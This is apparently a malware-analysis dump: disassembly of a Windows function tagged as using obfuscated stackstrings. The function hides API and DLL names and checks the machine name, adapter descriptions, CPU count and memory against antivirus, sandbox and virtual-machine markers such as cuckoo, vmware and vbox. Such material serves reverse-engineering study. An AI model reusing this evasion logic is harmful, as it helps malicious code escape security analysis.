Function at 0x140009680
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x368]
sub rsp, 0x440
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x1400a3158]
xor rax, rsp
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x120], 0x6e72656b
mov dword [rbp + 0x124], 0x32336c65
mov dword [rbp + 0x128], 0x6c6c642e
mov byte [rbp + 0x12c], 0
mov dword [rbp + 0x130], 0x6c687069
mov dword [rbp + 0x134], 0x69706170
mov dword [rbp + 0x138], 0x6c6c642e
mov byte [rbp + 0x13c], 0
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rsp + 0x38], rax
test rsi, rsi
je 0x140009e83
test rax, rax
je 0x140009e83
movdqa xmm0, xmmword [0x14007a920]
movdqu xmmword [rbp + 0x180], xmm0
mov byte [rbp + 0x190], 0
mov dword [rbp + 0x140], 0x53746547
mov dword [rbp + 0x144], 0x65747379
mov dword [rbp + 0x148], 0x666e496d
mov word [rbp + 0x14c], 0x6f
movdqa xmm0, xmmword [0x14007a950]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0x6e697274
mov dword [rbp + 0x164], 0x417367
movdqa xmm0, xmmword [0x14007aa30]
movdqu xmmword [rbp + 0x168], xmm0
mov dword [rbp + 0x178], 0x78457375
mov byte [rbp + 0x17c], 0
movdqa xmm0, xmmword [str.GetAdaptersInfo]
movdqu xmmword [rbp + 0x198], xmm0
lea rdx, [rbp + 0x180]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, [rbp + 0x140]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, [rbp + 0x150]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x168]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rdx, [rbp + 0x198]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rbx, rbx
je 0x140009e71
test r12, r12
je 0x140009e71
test rdi, rdi
je 0x140009e71
test r13, r13
je 0x140009e71
test rax, rax
je 0x140009e71
mov dword [rbp + 0xb0], 0x73617661
mov word [rbp + 0xb4], 0x74
mov dword [rsp + 0x54], 0x677661
mov dword [rbp + 0x100], 0x64746962
mov dword [rbp + 0x104], 0x6e656665
mov dword [rbp + 0x108], 0x726564
mov dword [rbp + 0xb8], 0x6b637563
mov word [rbp + 0xbc], 0x6f6f
mov byte [rbp + 0xbe], 0
mov dword [rbp + 0xc8], 0x776c616d
mov dword [rbp + 0xcc], 0x657261
mov dword [rbp + 0xd0], 0x646e6173
mov dword [rbp + 0xd4], 0x786f62
mov dword [rbp + 0xd8], 0x74726976
mov dword [rbp + 0xdc], 0x6c6175
mov dword [rbp + 0xc0], 0x61776d76
mov word [rbp + 0xc4], 0x6572
mov byte [rbp + 0xc6], 0
mov dword [rbp + 0xf0], 0x74726976
mov dword [rbp + 0xf4], 0x626c6175
mov word [rbp + 0xf8], 0x786f
mov byte [rbp + 0xfa], 0
mov dword [rbp + 0xa0], 0x756d6571
mov byte [rbp + 0xa4], 0
mov dword [rbp + 0xa8], 0x786f6276
mov byte [rbp + 0xac], 0
mov dword [rbp + 0xe0], 0x786f6276
mov dword [rbp + 0xe4], 0x73657567
mov word [rbp + 0xe8], 0x74
mov dword [rbp + 0x110], 0x786f6276
mov dword [rbp + 0x114], 0x76726573
mov dword [rbp + 0x118], 0x656369
lea rax, [rbp + 0xb0]
mov qword [rbp + 0x30], rax
lea rax, [rsp + 0x54]
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x100]
mov qword [rbp + 0x40], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x58], rax
lea rax, [rbp + 0xd8]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x68], rax
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0x110]
mov qword [rbp + 0x90], rax
xor edx, edx
mov r8d, 0x80
lea rcx, [rbp + 0x1b0]
call fcn.1400516a0
mov dword [rsp + 0x58], 0x80
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x1b0]
call rbx
test eax, eax
je 0x140009e71
mov qword [rbp - 0x70], 0
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
lea rax, [rbp + 0x1b0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140009a80
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp - 0x80]
call fcn.140002130
nop
lea rbx, [rbp + 0x30]
mov rdi, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x70]
mov r14, qword [rbp - 0x80]
nop dword [rax + rax]
mov r9, qword [rbx]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x140009ac0
lea rcx, [rbp - 0x80]
cmp rdi, 0x10
cmovae rcx, r14
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rsi
call fcn.140008280
cmp rax, 0xffffffffffffffff
jne 0x140009e1d
add rbx, 8
lea rax, [rbp + 0x98]
cmp rbx, rax
jne 0x140009ab0
lea rcx, [rbp]
call r12
movzx eax, word [rbp]
test ax, ax
je 0x140009b1a
cmp ax, 9
jne 0x140009e03
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x230]
call fcn.1400516a0
lea rdx, [rbp + 0x230]
mov ecx, 0x100
call qword [rsp + 0x40]
cmp eax, 3
jb 0x140009e1d
mov dword [rbp - 0x40], 0x40
lea rcx, [rbp - 0x40]
call r13
test eax, eax
je 0x140009b68
mov eax, 0x80000000
cmp qword [rbp - 0x38], rax
jb 0x140009e1d
mov dword [rsp + 0x50], 0x2c0
mov ecx, 0x2c0
call fcn.140056ee4
mov r13, rax
test rax, rax
jne 0x140009b9f
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor bl, bl
jmp 0x140009e35
lea rdx, [rsp + 0x50]
mov rcx, r13
call r15
cmp eax, 0x6f
jne 0x140009be5
mov rcx, r13
call fcn.14005487c
mov ecx, dword [rsp + 0x50]
call fcn.140056ee4
mov r13, rax
test rax, rax
jne 0x140009be5
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor bl, bl
jmp 0x140009e35
lea rdx, [rsp + 0x50]
mov rcx, r13
call r15
test eax, eax
jne 0x140009dfb
mov r12, r13
test r13, r13
je 0x140009dfb
lea rdx, [r12 + 0x110]
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140009c30
lea rcx, [rsp + 0x60]
call fcn.140002130
nop
lea rdi, [rbp + 0x30]
nop dword [rax]
mov rdx, qword [rdi]
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140009c70
lea rcx, [rbp - 0x60]
call fcn.140002130
lea r9, [rbp - 0x60]
mov rbx, qword [rbp - 0x60]
mov rsi, qword [rbp - 0x48]
cmp rsi, 0x10
cmovae r9, rbx
lea rcx, [rsp + 0x60]
mov r14, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
cmp r15, 0x10
cmovae rcx, r14
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
call fcn.140008280
cmp rax, 0xffffffffffffffff
jne 0x140009d66
cmp rsi, 0x10
jb 0x140009d0f
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140009cfd
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ebb
mov rcx, rbx
call fcn.1400331a4
mov r15, qword [rsp + 0x78]
mov r14, qword [rsp + 0x60]
add rdi, 8
lea rax, [rbp + 0x98]
cmp rdi, rax
jne 0x140009c50
mov r12, qword [r12]
cmp r15, 0x10
jb 0x140009d5e
lea rdx, [r15 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140009d56
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ec1
mov rcx, r14
call fcn.1400331a4
test r12, r12
jmp 0x140009bfe
mov rcx, r13
call fcn.14005487c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp rsi, 0x10
jb 0x140009dbc
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140009db3
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ec7
mov rcx, rbx
call fcn.1400331a4
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140009e33
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009df4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ecd
call fcn.1400331a4
jmp 0x140009e33
mov rcx, r13
call fcn.14005487c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor bl, bl
jmp 0x140009e35
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov bl, 1
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140009e6c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009eb5
call fcn.1400331a4
movzx eax, bl
jmp 0x140009e85
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.1400332c0
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14005438c
nop
call fcn.14005438c
nop
call fcn.14005438c
nop
call fcn.14005438c
nop
call fcn.14005438c
int3